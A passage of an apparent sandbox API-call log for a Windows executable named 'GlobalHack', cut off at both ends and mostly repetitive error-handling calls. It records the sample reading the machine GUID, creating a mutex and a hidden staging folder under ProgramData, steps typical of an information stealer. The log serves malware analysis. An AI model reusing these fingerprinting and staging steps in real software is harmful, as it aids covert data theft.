x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x92\x56\x64\xcc\x94\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0042.623] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48ce50, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\GlobalHack[RUEUNAVN][17.02.2019] .exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\globalhack[rueunavn][17.02.2019] .exe")) returned 0x43 [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.623] GetLastError () returned 0x0 [0042.623] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.624] SetLastError (dwErrCode=0x0) [0042.624] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.625] SetLastError (dwErrCode=0x0) [0042.625] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.626] SetLastError (dwErrCode=0x0) [0042.626] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.627] SetLastError (dwErrCode=0x0) [0042.627] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.628] SetLastError (dwErrCode=0x0) [0042.628] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.629] GetLastError () returned 0x0 [0042.629] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.630] SetLastError (dwErrCode=0x0) [0042.630] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.631] GetLastError () returned 0x0 [0042.631] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.632] GetLastError () returned 0x0 [0042.632] SetLastError (dwErrCode=0x0) [0042.634] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.634] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x466913) returned 0x0 [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.640] SetLastError (dwErrCode=0x0) [0042.640] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.641] SetLastError (dwErrCode=0x0) [0042.641] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.642] GetLastError () returned 0x0 [0042.642] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] GetUserDefaultLocaleName (in: lpLocaleName=0x19fdb8, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0042.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0042.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x1e80fd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 6 [0042.645] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19fde8 | out: lpHwProfileInfo=0x19fde8) returned 1 [0042.646] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fc58 | out: phkResult=0x19fc58*=0x18c) returned 0x0 [0042.646] RegQueryValueExA (in: hKey=0x18c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19fd60, lpcbData=0x19fc5c*=0xff | out: lpType=0x0, lpData=0x19fd60*=0x34, lpcbData=0x19fc5c*=0x25) returned 0x0 [0042.646] RegCloseKey (hKey=0x18c) returned 0x0 [0042.646] CharToOemA (in: pSrc="427a1946-e0ff-4097-8c9e-ca2c1e22780b", pDst=0x19fc60 | out: pDst="427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 1 [0042.646] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="427a1946-e0ff-4097-8c9e-ca2c1e22780b{6bb4f034-2706-11e5-9bbe-806e6f6e6963}") returned 0x18c [0042.646] GetLastError () returned 0x0 [0042.647] Sleep (dwMilliseconds=0x64) [0042.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f9f8 | out: lpSystemTimeAsFileTime=0x19f9f8*(dwLowDateTime=0xc49dbd3d, dwHighDateTime=0x1d4c6c5)) [0042.755] GetTickCount () returned 0x1eb93 [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.755] SetLastError (dwErrCode=0x0) [0042.755] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.756] SetLastError (dwErrCode=0x0) [0042.756] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.757] GetLastError () returned 0x0 [0042.757] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] GetLastError () returned 0x0 [0042.758] SetLastError (dwErrCode=0x0) [0042.758] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk"), lpSecurityAttributes=0x0) returned 1 [0042.759] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk")) returned 1 [0042.760] CreateDirectoryA (lpPathName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files"), lpSecurityAttributes=0x0) returned 1 [0042.766] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x56a310 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0042.766] lstrlenA 